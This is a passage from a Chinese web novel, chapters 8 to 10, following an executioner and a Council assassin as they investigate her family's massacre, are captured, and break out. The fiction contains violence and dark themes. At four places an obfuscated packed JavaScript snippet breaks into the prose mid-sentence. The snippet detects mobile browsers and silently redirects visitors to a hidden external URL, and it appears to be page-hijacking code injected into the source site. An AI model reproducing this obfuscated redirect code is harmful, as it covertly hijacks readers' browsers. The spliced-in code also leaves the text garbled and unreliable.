房屋两层,年久失修,外围的墙壁不知道什么时候倒了一半,或许因为风时不时倒灌进来的缘故,屋内灰尘并不太多,但看样子许久没有人居住,杂物堆得到处都是。 红刀推开大门,客厅内相对干净一些,林又茉扫了一眼室内,停在了门口。 “怎么了?”红刀问。 他忽然想起什么,好笑道:“执刑官,洁癖?这个时候?” “没有。” 林又茉迈步进室内。 进了这个屋子,没有灯,但两个人的夜视能力都很强。半壁残垣后,零星的月光洒入进来,在地上淌出几抹银色。 林又茉检视了一遍屋内的四周又探出窗外看,附近没有人。 这一片和周围的民居应该都荒废许久了,像被遗弃。 破败、贫穷、落后。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817148|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看残破的程度,至少有十多年。就连无人机都很少到这处巡视。 “这里过去是我家。” 一道声音在身后响起。 林又茉回头,红刀正从卧室内走出来。 少年上衣剪开了一半。 红刀的身形介于少年和青年之间,露出的一侧腰线窄而利落,皮肤白如温玉,除了他右肩一直到上臂都被炸得血肉模糊,看起来极其可怖,宛如从地狱爬出来的恶鬼。 他看过来,一张沾血的脸此时格外妖媚:“你应该猜到了。” 林又茉:“不算意外。” 凭着他对路和地形的熟稔程度,这显然该是个很有可能性的答案。 “麻烦递下绷带。”红刀道,“在你脚边的抽屉里。” 林又茉垂下眼,脚边的柜子抽屉打开了一半,里面有一只应急药品箱。她将箱子丢给他。 “我过去在这里出生,后来这里发了一场瘟疫,几千个人全部死光了。我就被议会的人收养了,之后的事你也知道。” 红刀给自己上药的动作没有停顿,消毒的疼痛对他来说似乎并不算什么,只是惨白的脸色显示着身体承受的巨大疼痛。 “后来这个地方就荒废了,现在勉强算是我半个落脚点。” 林又茉在一旁冷眼看着,没有帮忙上药的意思。 她没帮忙,红刀丝毫不意外。作为他多次想要下死手的对象,林又茉不在这个时候落井下石,已经算足够仁慈。 而且他……现在的确没有精力防备后手。 红刀深吸一口气,慢慢捋了一把额前的碎发,露出苍白脸上光洁的额头。他从衣服内摸出了一根针管。 林又茉的视线移到针管上。 “生物药剂。”红刀道。 “我不清楚你怎么恢复身体。但执刑官,对于我,这种药剂是必需品。” 林又茉听过这种药剂,只要打一针,身体伤势就能以惊人的速度迅速恢复。但副作用是缩短寿命,很显然,红刀并不像一个在意他生命长短的人。 但她在想的是,这个药剂有一个弊端,打针的人在恢复期间会陷入深度昏迷,对外界的一切毫无知觉。 林又茉说:“你很相信我?” 红刀幽幽叹气:“那当然了。按我的伤势我可一个人走不出这个红灯区。我们是什么交情啊执刑官?” 林又茉:“不熟的同事。” 红刀:“……” 不过林又茉,的确没那么急着回去跟薛柏寒交差。 当然,她也可以把一个重伤的人丢在这里,自己先行回去,没有任何心理负担。 如果红刀被流浪的人发现,被穷恶之徒抓住,被无人机逮住,只能自认倒霉。 她抬头看了看夜色,跟在红刀身后进入卧室,对他点头:“你打针吧,我给你一晚。” 红刀眨了眨眼,苍白脸上露出笑容。 老实说,就算林又茉临时反水,他也没有回旋余地了。 爆炸波及得太狠,他的身体能撑到现在已经是强弩之末。没在踏进门的那一刻就昏倒,已经很给面子。 他抬脚勾过一把床边的椅子,咬住一截布料,一声闷哼,将药剂扎入自己颈侧。 生物药剂超出了人类能承受的生理极限,刚清创时还能一声不吭的红刀,这时脸色煞白,额角冒出一层细汗,汗珠沿着睫毛滚落,沾湿他血迹斑斑的脸。 他嘴角溢出几丝呻.吟。 林又茉站在椅子旁,注视他痛苦。 她并不享受这一幕,但同时,并不排斥注视。 他看起来像一只濒死的猫。 药剂一毫一毫地推进体内,时间似乎被无限拉长。 终于,那一管药剂被彻底压空。 红刀身形一晃,整个人倒在床上。 他浑身是汗,苍白的脸被烧出绯红,从颊侧蔓延到耳根。他紧蹙着眉,黑发黏湿,贴在侧脸上,像刚从水中捞出来。 他缓缓撩开眼,眼尾泛红,唇角轻佻弯起,笑出一颗虎牙,虚弱地哑声说: “执刑官……要是你现在想睡煎我,我可是给了你机会……” 啪。林又茉抬手给了他一记手刀。 红刀彻底陷入昏迷。 8.第 8 章 黑暗。 黑暗中并不宁静。 尖叫声,哭喊声,惨叫声。 像从远处而来,从记忆深处而来,像梦魇一般追逐。 突如其来的瘟疫,家破人亡的底层人,天上亮着红灯的无人机,散发着恶臭的尸骨,大量的、嘈杂的,声音、气味,隔着几道街巷就是光鲜亮丽的红灯区楼宇,夜夜笙歌,而这里却因为人吃人成为地狱,满街鲜血—— 红刀霍地睁开眼睛。 头顶是豁了个口的天花板,黯淡的晨间天光落进来,钢筋穿透皲裂的水泥,往下滴落肮脏的锈水。 啪。正中他的脸。 “……” 原来是雨停了。 那记忆里,脸上挨的重击也是错觉吗? 红刀捂着火辣辣的脸起身,这里一切跟他昏迷前一样,是他那个记忆中小时候的家。 床边的椅子上空空如也,四周没有人。 也对,如果林又茉真在这守了他一夜,还有点见鬼。 伤口在生物药剂的作用下已经完全恢复了原样,就是还有些隐隐的疼痛,不过这些痛感对红刀来说都是小菜一碟,甚至还不如脸上的伤来得痛。 毕竟是燃烧寿命换来的效用。 红刀在破屋里兜了一圈——然后在听到不远处头顶传来风声的变化时,他停下来,仰头看去。 一双漂亮的桃花眼流出笑意。 “早上好啊,执刑官。” 红刀轻轻松松翻上屋顶,笑眯眯抬手打招呼。 正值清晨的日初时分。 红灯区的贫民地带房子大多低矮,能看到远处东升的太阳。橘红色灿烂的阳光从远处的天际线散开。 穿着深色制服的少女站在屋顶边缘,风慢慢吹起她垂在腰间的黑发。 她一夜没离开。 林又茉一脚踩着屋顶的边台,半敛着眼,不知道在看什么。 红刀盯了会她的背影,才低下头。 房顶堆满了玻璃、木块、杂物。在瘟疫后,联邦强行将这块区域隔离了三年,后来这里被不怕死的拾荒者扫荡过一遍,到现在,只是老鼠和昆虫的寄居地。 红刀在天台杂物下发现一张照片。 泛黄的旧照,没有任何价值,所以没被拾荒者捡走。上面印着三个人,一个女人,两个一模一样的小孩,三个人面黄肌瘦,但难掩貌美。 他看到了,说明执刑官也看到了。 “那是你哥哥?” 林又茉平静的声音顺着风送过来,她没回头。 “双胞胎弟弟。”红刀的目光在照片上扫过,没什么留念,他耸耸肩, “瘟疫后期食物短缺,我被换给别人当食材,弟弟是更受宠爱的那个,家里的宝贝。后来可能他俩一起死了吧。” “不过真不理解啊……”红刀摸了摸自己的脸,叹息,“虽然长得一样,但我明显更漂亮,为什么大人都喜欢更小的那个呢?” “执刑官,你应该理解我吧,听说你也是林家最小的那个——” 忽地,少女转过来,黑洞洞的枪口对准了他。 红刀声音戛然而止。 林又茉手里握着一把漆黑的手枪,这把枪是之前红刀在李七的房间夺走使用的,很显然,在他昏迷期间,这把枪的使用权被易了主。 风声飒飒,吹拂她的碎发,林又茉脸上没什么表情,依然是那张乖巧的脸,甚至像放学后刚回家的邻家少女。 但她拿枪的手很稳,食指勾在扳机上,一触即发。 她说:“十八年前林家的灭门案,你知道多少?” 红刀一愣。仿佛一根弦从脊背到脑后被拎起来,他瞬间全身肌肉应激般地紧绷起来,这是动物面对危机时的本能反应。 但他停滞了几秒,反而弯起眼,笑了起来:“执刑官你在说什么啊,怎么突然提到林家灭门案?我怎么会对这件事知情?” “砰!”一道枪响。子弹贯着风声擦过红刀的脸颊,在他脸上留下一条血痕。 红刀的笑意在嘴角凝滞。 林又茉声调平静,仿佛刚刚随手就开了枪的人不是她:“芯片里有关于林家的内容,但被人为抹掉了,日期在十八年前。” 她另一只手捏着一枚透明的柱体。 芯片。从李七的服务器导出了数据的芯片。 “十八年前,林家只出了一件事情。” 毋庸置疑,林又茉在昨天晚上读了芯片的内容。 执刑官的电子权限,果然很大。连议会长的芯片都能查阅。 “你是说,这群倒卖.军火的人,同时是灭了你家满门的主谋?” 红刀顺着她的话推测,面对林又茉的威胁,他甚至往前几步,走到她的枪口前,叹了口气道,“执刑官,虽然我是议会的人,但我没比你大多少岁,十八年前那件案发生的时候我也才四五岁,我能知道什么呢?那个时候我甚至还不怎么会数数,更别提参与。” “总不可能四岁的我带着跟我一样高的砍刀去你家把所有人斩首了吧?你说对不对——” 林又茉的枪口抵在了他的下巴下。 红刀不笑了。他垂眼看着面前的少女。 他轻叹:“执刑官,我以为我们很相似。” 都被家人抛弃了。 他听说过传闻,林又茉在灭门那一天是唯一幸存者的理由,是因为她被家里偷闲的保姆锁进了地下室,足足两天。 什么样的家人,才会足足两天都没有发现一个幼儿失踪?甚至连作为佣人的保姆,都对她不屑一顾。死活无足轻重。 林家三十多口人,更林又茉年龄相似的就有七八个,林又茉是最小的那个。 却是最能被轻易舍弃的那一个。 他们如此相像,在泥泞中生长,在得不到爱中腐烂。 简直像天生一对。 “你想给那些人报仇?”红刀歪了歪头,问,“那些冠着‘家人’名字的人?为什么?他们配么?” 林又茉无动于衷,枪口上挑,抵紧他的下颚:“回答我的问题。” 红刀耸肩,举起三根手指:“好吧好吧,我回答你,不管你信不信,我真的是无辜的。我发誓,我,红刀,对你们林家当年的灭门案绝对不知情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832878|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 林又茉扣动了扳机。 红刀字音凝固在后牙上,血液一瞬间涌上后脑,肾上腺素一刹那飙升到极致,瞳孔紧缩,全身肌肉倏地紧绷,然后他听到—— “咔嗒”。 很轻的一声。 空弹音。 弹匣里击针撞击匣内的空气,没有任何子弹。 像弹壳落地的声音,像雷击后的余韵,世界仿佛静止了,一息一毫都在他的耳边,如此安静。 这是一发空枪。 林又茉转身跳下天台离开,抬起手,抛了样东西给他。 “我相信你了。”风送来她轻飘飘的话。 红刀接住,低头。 她抛来的是那枚从李七那来的透明的芯片。 她用的那把手枪丢在天台一旁,旁边滚着几枚不知道什么时候被取出的子弹。 一把手枪几枚子弹。刚好够他自保出红灯区。 良久。 红刀突兀地笑了一声。 他弯起桃花眼,笑得恣意,头一次被耍也丝毫没不高兴。他把额头用手掌抵住,笑得低低。 笑声持续了很久也没有停下来。 “其实很幽默呢。执刑官。” ** 都城城郊。 私人庄园。 卫星无法查找到的【权限干扰】的区域。 建筑二楼,林又茉推开浴室的门,带出一阵氤氲的水雾气。 她穿着洁白浴袍,湿润的黑色长发披散,脸白白净净,看起来年纪更轻,像个小女孩。 林又茉回到家就先洗了澡,把身体浸泡在水里,洗去多余的气味。 她坐下在椅子上,从一边拿出林家档案册,翻开。 脱离工作状态的林又茉看起来更符合她的年龄,她垂下眼,开始看文件。 忽地,门外传来敲门声。 传来佣人很轻的声音:“林小姐,您现在方便吗?” 林又茉不喜欢机械智能,宅子里只有佣人。 “怎么了?”她问。 “有一份给您的包裹,需要您签收。” 林又茉动作停顿。 她的住址并不难找。难的是找到人送进来。更难的是送到住宅的门口。世界上能有几个人做到呢? “送进来吧。” 佣人小心地推开门,躬身将那一份长方形的包裹放到了她身前的桌上,悄然退了出去。 包裹上没有任何标记,只有收件人的地址,笔迹清秀。 盖子打开,纸盒里躺着一束紫色的鸢尾花。 鸢尾花被修剪得精细,绽放的花朵沾着露水,花茎用漂亮的丝带扎起来,附着一张卡片,写着“给又茉”,末尾画了一朵小花。 世界上只有一个人会这么写她的名字。 这是一束被精心栽育过的花,被一个人养出来,细心地包扎好,送到她手上。 林又茉垂眼盯了一会,把脸埋进了那束花里。 她轻轻嗅着,很依恋,像找寻到了母体的幼崽小兽。 下午,林又茉将花全部沉进湖里。 9.第 9 章 林又茉拿到了林家灭门案的全部资料。 大批的资料全部对执刑官开放。 但像她预计的一样,翻阅了一遍,一无所获。 这件事被掩盖得很彻底,公民间没有人想彻查,联邦不想耗费资源,最后林又茉手上只有一份事故调查报告,语焉不详,寥寥几语,“凶手:仍旧追查中”。 很敷衍。 林又茉没有兴趣报仇。但她不喜欢被蒙在鼓里。 她在想,十八年前的那场谋杀案,她究竟是那只漏网之鱼,还是一条被放过的鱼? 不过林家有那么多仇家,找不到凶手不是离奇的事。 资料底下压着一本林家的相册。 “这是您的母亲。”“这是您的二姐。”“这是三哥……”年迈的佣人见她盯着相册,小心地为她介绍起照片中的人物。 “这是您。”一张襁褓的照片。 她甚至不在全家福里。 林又茉从没见过父母的长相。这么看来,她的母亲上一任“刽子手”的确是一个美丽强大的女人,而父亲却像个仅有漂亮脸蛋的小人物。母亲有着传闻中母螳螂的习性,喜欢去父留子,无论多么漂亮的男人对她来说是一次性用品,生完孩子就可以杀死,以绝后患。 林又茉对在林宅的童年记忆很少。 “这不怪您,您那时候只有三岁,而且那个晚上,还被那个……不称职的保姆锁在了地下室。”佣人没有说完。 哦,林又茉想起来了。 那天保姆化了浓妆,半夜偷摸出去,为了不让人听到动静,把她锁进了地下室。 她的哥哥姐姐们先发现了她。 他们是一群最恶劣的人类幼兽,说“天啊,最小的怪物妹妹在这里。”“不哭不笑的小哑巴。”“你知道小孩饿多久会死吗?”“我很好奇。”“那不然我们来做个实验吧。” “林又茉,不要出声,你要出来,我们就会亲手掐死你,把你的肠子掏出来给你打蝴蝶结,反正你当不上继承人也是要死的,没有人会为你出头,小杂种,听懂了吗?” 有人掐了她的脸,笑声尖锐,然后他们干了人生最蠢的一件事:给地下室加上一把锁,并推来书柜挡住了门,在地上洒满了杂物。 ——确保林又茉出不去,也没人能找到她。 然后结局出来得很快,林又茉毫不费力成为了新的继承人——在所有竞争对手都死光了的情况下,这个目的很难达不到。 活得很像真正的反派。 只不过,林又茉在想。 她似乎对那个晚上有印象。 那个杀人的晚上。 那是一个,下着雨的一天…… 林又茉停下脚步。 她的伞沿抬起,细雨绵绵,眼前那座现代风格的白色建筑映入视线,让她的记忆有些朦胧。 林宅的原址。 在案件发生后,林宅直接荒废,联邦在征求她的同意后对这栋建筑做了整改,将它变成了一个功能性公共建筑。 “——‘联邦、人文、博物馆’?” “有点讽刺,不是吗?” 停在她身边的人一个字一个字读出招牌,唏嘘道, “刽子手全家死光的地方,变成了彰显人文情怀的场所。” 红刀转过头来,对她打招呼:“好久不见呀,执刑官。” 少年个高腿长,打着把黑伞,他今天穿着T恤长裤,除了脖子上的那只黑色颈环外,看起来就像个在学校里很受欢迎的高中生。 红刀恐怖的名声没有在民间传播,路上还有不少年轻的女孩子偷偷瞄他。 两人撑伞站在博物馆门口,还有热情的小贩上前兜售情侣纪念品。 红刀心情很好,没有掏刀恐吓无辜路人,而是掏钱买了两个小企鹅钥匙扣。塞给了林又茉一个,她没要。 “为什么不想要?这可是你家谋杀地的纪念品,再想要就很难等到下一次了。”他歪脑袋说着地狱笑话,“除非你给我机会……” “洁癖。”林又茉用一句话杀死对话。 “对我吗?”红刀很伤心。 林又茉瞄到他脖子后的文字。 【B级公民,信用点:2814】。上次见面是2812,多了2点。 “看来你受到了褒奖。薛柏寒对你交的差很满意?” “啊,你说信用点?谢谢你,受到你们A级公民的夸奖真不容易。你不知道跨越阶级有多难,我被当工具用了这么多年才爬到这个分数。用半条命换2分,等能爬到A级说不定是下辈子了,还是投胎来得快。” 红刀幽幽叹着气,摊了摊手,嘴里抱怨但并不在乎的模样。林又茉想起他是在红灯区出生,这个区域的公民出生最多是D级。 D级升到B级已经难之又难,而B级跟A级中间有一道天堑,增长信用点比登天还难,天堑设置出来的目的就是让人无法跨越。 红刀语调开始飘:“我还不如像红灯区那些E级出卖体力活……” “你想找我做什么?” 这栋白色建筑已经面目全非,勾不起她的任何记忆。 林又茉打伞转身离开。 红刀说:“我为你找到了一条线索。” “?” “就当我做个好人,报你上次守我一夜的恩情。” 红刀手指翻出一张卡片,递到她面前,“这是李七事件后,我的下一个任务。” “执刑官,你猜猜——如果这个人是李七的上级,会不会也知道你们林家的案子的真相?” 林又茉脚步急停。 她转过身,盯了那张卡片上的人名许久。 红刀看她表情,就知道她意动了。 “我只有一个问题。”她说。 “什么?” “你告诉我你的目标地址信息,议会不找你麻烦么?” 红刀早就准备好了:“林又茉小姐,你可是执刑官,你去哪里都畅通无阻,我只不过是一名为议会办事的小员工,谁知道上次我俩搭档你非看上了我,对我情根深种,我去哪你都非要跟踪我,一直跟到我任务对象家里,对我死缠烂打纠缠不清……我能有什么办法,对吧?” 红刀摇头叹气,十分忧郁,撑伞扶额,做得跟真的一样。 林又茉站住,黑眸盯了他几秒,才移开视线继续向前走。 红刀:“……你刚刚瞪了我吗。” “哈哈哈哈?执刑官你瞪人?你还会瞪人?哈哈哈哈哈?就因为我渲染你是跟踪狂?那既然这样我能不能干脆告诉——” “不能。” “喔。” ** 接下来的一段时间,林又茉跟红刀见面频繁。 虽然没有明说,但林又茉扮演好了那个喜欢跟踪的角色,在每次红刀出任务时总是迟一步到,将两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847416|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的合谋变成单方面蓄谋。 林又茉大多数时候不会动手,她只旁观,在血溅到脚边时静静退一步,像个做观察人性社会实验的小学生。 顺腾摸瓜找到主谋不容易,每一次的任务对象也不一定是正确的。但林又茉在上班时间做这些事——说起来,林又茉并没有需要完成的kpi——非要按本质来说,追查军火贩卖的主犯的确也算林又茉的工作内容,所以她对多出来的活并没有太多异议。 直到有一次,议会逮到了她跟红刀一起出现在同一个任务现场。 薛柏寒兴师问罪,坐在长桌后面,神色冷淡,等待她的解释。 “执刑官,你为什么要干扰议会公务?” 林又茉:“这是我的私人事务。” 薛柏寒冷笑:“什么私人事务?” 林又茉沉默了一会儿:“我喜欢做跟踪狂。” 薛柏寒:“……” 薛柏寒足足反应了十几秒,才反应过来刚才执刑官嘴里吐出了什么话。 就连被迫安排在门后旁听的温臻,听了都神情凝滞了一瞬。 “谁的跟踪狂?” “红刀。” “红……?” 薛柏寒简直见了鬼。 他嘴巴张开几次又闭上,说不出下一个字。 但林又茉并不笑。很难判断她的话是假话。 “没有什么事的话,我先走了。” 她点头,起身离开。 出了议会宫门,林又茉顺手接住空中嗖地丢来的刀,红刀歪着抱胸在暗处的街巷等她。 “怎么样?我就说他们会信吧。”他笑眯眯。 林又茉觉得他们红灯区出来的人真是天赋异禀。 “走吧。” “好~” 议会宫的会议厅内,薛柏寒无论怎么回想刚刚发生的事情,还是觉得荒谬至极。 跟踪狂? 别太搞笑了。 执刑官那个小丫头如果是跟踪狂,他能把他那个侄子的头拧下来给她当球踢。 但问题在于,无论薛柏寒信或者不信,他没有任何理由能规束执刑官的行为。 执刑官处决别人,所以在某种程度上,她对法律“免疫”: 她有权力跟踪别人,甚至干涉公务。哪怕,这个人隶属于议会。 薛柏寒觉得这简直令人发笑。他推开会议厅侧门,想找个对照组嘲讽一番,毕竟温臻每次都被他强行固定在这里,旁听他跟林又茉的每一次会议,模样十分可怜。 虽然折磨不了林又茉,但有替代品,也勉强凑合。 但这次……结果出乎他意料。 昔日里温臻总是一副垂着眼睫,沉默不语,用无声做抵抗的模样。高岭之花,矜贵冷静。 而此时,尊贵的神官此时躬着腰,他似乎站不住,冷白修长的手指按在旁边的石台上,指节用力地发白。淡金色长发从肩上垂下,随着脊背而颤抖。 赶来的秘书吓坏了:“议会长,要不、要不要让医生来看一下,神官大人绝对不可以——”还没结婚前的神官绝对不能出事。 “……我没事。” 一个很轻的声音打断他。 不久,温臻松开石台,他退后一步。美丽的脸苍白,像疲倦至极。 他鸦羽一般的睫毛垂下,整个人单薄素净。 “我没事。”他梦呓般低声重复。 10.第 10 章 神殿里,一切都很安静。 偌大的窗前,温臻穿着单薄的白袍,无声地坐在那。 过了片刻,他终于抬起手,翻开身前厚重的书籍,里面夹着一只干花。 有佣人轻声地在门口提醒到时间,需要去祷告。 在佣人离开前,温臻忽然开口:“上次我让你送去的东西……收到回应了么?” 佣人迟疑:“神官大人,还没……执刑官那里,可能是我们没收到,我再去看看……” 温臻顿了下。 “没关系,不用了。” 时间流逝让鸢尾花的紫色褪去,变得脆弱、干燥,在书页上压出影子。 温臻垂眼看向那朵花,轻轻抿了抿唇。 他脸色有些苍白。 ** “我能不能问你一个问题?” “什么。” “被神官抚养长大是什么感觉?” “你在这个时候问这个问题?” “我好奇。” 林又茉走进这栋豪宅的餐厅,巨大的水晶吊灯碎裂在地上,整个房间如某个恐怖游戏的开屏画面,布满鲜血和死尸。 红刀从她身后的高处跳下来,轻巧落地。 他从果盘里拿起一个苹果,咬了一口,很悠闲。 “因为你是唯一一个在神殿长大的外人,属于珍稀采访对象。” ——这是两个月后。 这两个月里,林又茉和红刀利用职务之便一路向上追查,最终追到一名B级贸易富商公民的别院。 可这个人也只是幌子。红刀用了一些手段(包括威胁杀掉所有人,以及真的杀掉所有人),最终一无所获。 “看来我们查错方向了。这群人能做这件事做十多年,肯定已经建立了完整的产业链和退出方案,我们这两个月做的事像蚍蜉撼树,根本不够看。” “查到现在这一步已经很不容易了。” 红刀的目的是找到军火商人。林又茉的目的是查清林家灭门的真相。在这一点上,两人殊途同归。 叹气完,红刀又勾回话题。 “所以被神官养大是什么样的感觉?” “执刑官,我发现,这几天只要是在路上看到神官和议会长婚礼的祝福海报,你就会移开视线。这总不会是我的错觉吧?” “看起来你真的很讨厌议会长。” 两个月过去,离神官的婚礼越来越近,公民自发开始庆贺,民间的活动层出不穷,街头巷尾到处是宗教图案的海报与气球,当然,全部都是温臻的支持者。 没办法,这任神官太受欢迎。 他们太喜欢温臻了。 “你好像对这桩婚姻很不满意。” “没有,我觉得这桩婚姻很合适。”林又茉平淡回答。 “但你看起来好像一点都不高兴?” “没有,我很高兴。” “但你看起来可不高兴。” “从哪里看出来。” “从——” 这句话把红刀问住了。 他绕到林又茉跟前,托起下巴仔仔细细端详她的脸,看起来很严肃。 而林又茉的目光向下,落到他的女仆装上:“……” 她才注意到,红刀今天穿着黑白蕾丝裙装,带着兽耳,脖子上的颈环还挂上了一枚金灿灿的铃铛。随着他的动作,叮叮当当作响。 “嗯——?你说这身?” 红刀顺着她的目光看,眨眨眼,“这个富商的性癖是年轻的男娘,好变态的。不然你以为我怎么混到他的身边的?当然是靠这张漂亮的脸。” 说着话,少年歪了歪脑袋,随着他的动作,脑袋上的耳朵慢慢也歪了歪,铃铛叮铃一声。 红刀妖媚的脸跟这身搭配适配度意外地高。他嘴巴没个章法,但“漂亮”这个词,不算谎话。 “他们的主管一见到我,就把我加进名单里去了。看来我很擅长这行,说不定以后可以考虑下岗再就业,你说呢执刑官?” 他身量很高,薄肌,腰又窄又韧,桃花眼,靠近林又茉展示,的确很合适。 ……如果不是他一个人刚刚眼睛都不眨杀了二十个人的话。 林又茉无言地扫了他一眼,往死人堆里走去。 “执刑官——你怎么都不理我?” 红刀拉长了尾音叹气。 “是厌烦我了吗?” “我们认识这么多年了,刚刚还过了两个月蜜月一般的甜蜜生活,天天早晚低头不见抬头见,一般的情侣都没见这么勤,你已经对我腻了吗?” “再过一段时间就是神官的婚礼,你怎么办?你不会要去反对,然后抢婚……” “我去休假。” “……”红刀一时没反应过来,“什么?” 林又茉:“我休年假。” 工作状态996/007的红刀无法理解这个词:“……” 年假,是什么。 好陌生的词。 “我已经请好假了,”有终身编制的林又茉说,“过一段时间,我会休息一个月。” 执刑官自从上任之后没怎么休过假,积攒的假期成了一个可怕的数字。 林又茉觉得她再不休假,议会那些人都会得精神衰弱。 红刀呆了几秒:“去哪?” 林又茉没准备回答这个问题:“哪都可以。” “可……” “红刀。”她开口。 “嗯?” “你的任务没做完。” 林又茉拿起桌上的刀,走上前,在红刀的惊异抽气声中对地上的人手起刀落——刚死里逃生喘出一口浊气的富商瞬间人头分离,头咕噜噜地滚到一旁,目眦欲裂。 “执刑官,你的力气真的很大……” “斩首是防止诈尸最快捷的方法。” 鲜血溅出来,在地板上蔓延。 但身后没有声音。 林又茉回头,红刀正站在那。 他从地上捡起了什么东西,脸色骤然怪异。 林又茉看清了他手里是什么:一个便携报警器。 红色的按钮,已经被摁下了。 林又茉微微站住。 她握紧了手中的刀。 “变态富商诈尸的那一口气,按下了这个报警器,天知道会触发什么——” 红刀吸了口气道,“啧。” 下一刻,伴随着巨大的响声,整个房间烟雾弥漫。 ** 滴答。 滴答。 水滴从上方坠落。 黑暗中静得可怕。 林又茉睁开眼,是耳边有一道声音一直骚扰一般喊她。 “执刑官?” 见她终于睁眼,红刀如释负重:“你醒了。” 四周很黑,铁锈味、阴冷的潮湿气味还有隐隐作痛的太阳穴让人大脑发麻。 甚至,有一些让人身体动弹不得——不对,的确动弹不得。 林又茉感受到身体的肌肉僵硬,思维迟钝,像被药物麻痹。 以及,她的手被反铐起来了。红刀也一样。 “他们在餐厅里释放了一些神经气体,然后我们被锁起来了,这里是地下室。” 红刀说,林又茉发现他的声音有些沙哑。 他应该受伤了,她闻到了血腥味,这并不来自于她身上。 “过了多久了?”林又茉听到自己的声音问。 “不清楚,也许一两天?也许几个小时。” “你被拷问了?” 红刀轻巧地笑:“对啊。” “不过你放心,我什么也没说……他们不敢对你下手,执刑官,杀你是死刑,没有人敢。” 林又茉:“十八年前他们敢。” 红刀幽幽地道:“但你也知道为什么不是吗,因为十八年前你活下来了。” “执刑官只能由林家人担任,而你活下来了,有了继承人,所以林家其他死的人死得无足轻重。” “但他们现在不敢,因为林家只剩下你。” 林又茉没说话,她知道这就是事实。 十八年前联邦没有彻查,因为执刑官的位子有她继承,只要有人继承,联邦就没有义务追查到底。 但如果她现在死了——联邦无论如何都得调动最大的资源启动调查程序,查清楚这一序列上的所有人、物、事件、地点,而任何见不得光的交易,都会毁之一旦。 军火、杀人、灰色交易,全部。 她的死亡就是他们最大的威胁。 “而且最过分的是,他们把我身上的刀都没收了。”红刀很轻地哼了声,“他们知道我花了多久攒的那十九把刀吗?” “哦对了,执刑官,你身上藏着的两把迷你手枪、十八根追踪针,三十六根根线刃,两颗烟雾弹……和七枚刀片也都被收走了。” “现在看来出去只能靠我们把骨头打断了。你先还是我先?” 林又茉:“……”听起来很像百货商店。 她终于感觉到脑袋里的晕眩好了一些,道:“八枚。” 红刀一愣:“什么?” “八枚。我身上的刀片,是八枚。” 下一刻,昏暗中——甚至不需要红刀集中注意力在视力上,因为反光说明了一切,隔着竖直栏杆,靠在那的黑发少女微微张开唇,舌底下,慢慢卷出了一枚锋利的刀片。 在黑暗中,那银亮亮的颜色——如此鲜明。 几乎刺眼。 “……!” 红刀脑袋很轻地嗡地一声,他听到自己抽气的声音。 什么样的疯子…… 什么样不要命的疯子,会把刀片藏在嘴里? 一个不小心,一个没留神的撞击,或许就会割伤自己,吞进喉咙里,割伤脆弱的咽喉,造成无法挽回的后果。 这简直是极度的冒险,极度的自信,和极度的自负。她就这么确信不会伤害自己? 但他说出嘴的却是震惊的:“执刑官……你接吻也不拿出来?” “…………” 虽然是黑暗中,但红刀确信林又茉剐了他一眼。 红刀由衷感叹:“你的情人也是狠人。” “……” “跟别人接吻是调情,跟你接吻是玩命。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873511|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “想不到是谁——” 林又茉终于受不了了:“红刀。” “嗯?” “我听说你很会开锁。” 与此同时响起的,是地下室门外脚步靠近,钥匙开门的声响。 “你最好像你说的那么厉害。” …… ** 两人终于逃出来时,已经不知道过了多少时间。 明月高悬,夜晚的风格外冷,两人身上带着的大量的血迹惊起树林里不知情的猛兽,却又嗅到危险般纷纷避让。 答案很简单:那些血,并非来自一个人,而是混杂了各种气息,来自大量的,不同的人类。 红刀感到从所未有的畅快,仿佛胸中的闷气都一扫而光,而身上那些糟糕的伤痕也不重要,疼痛算什么呢?疼痛每天都可以有,但这么高兴可真是少见。 他损失了十九把漂亮的刀,但那又怎么样,他今晚可是发现了执刑官一个非常、非常独特的秘密。 呼吸声被掩盖在树叶的踩踏声和风声中。 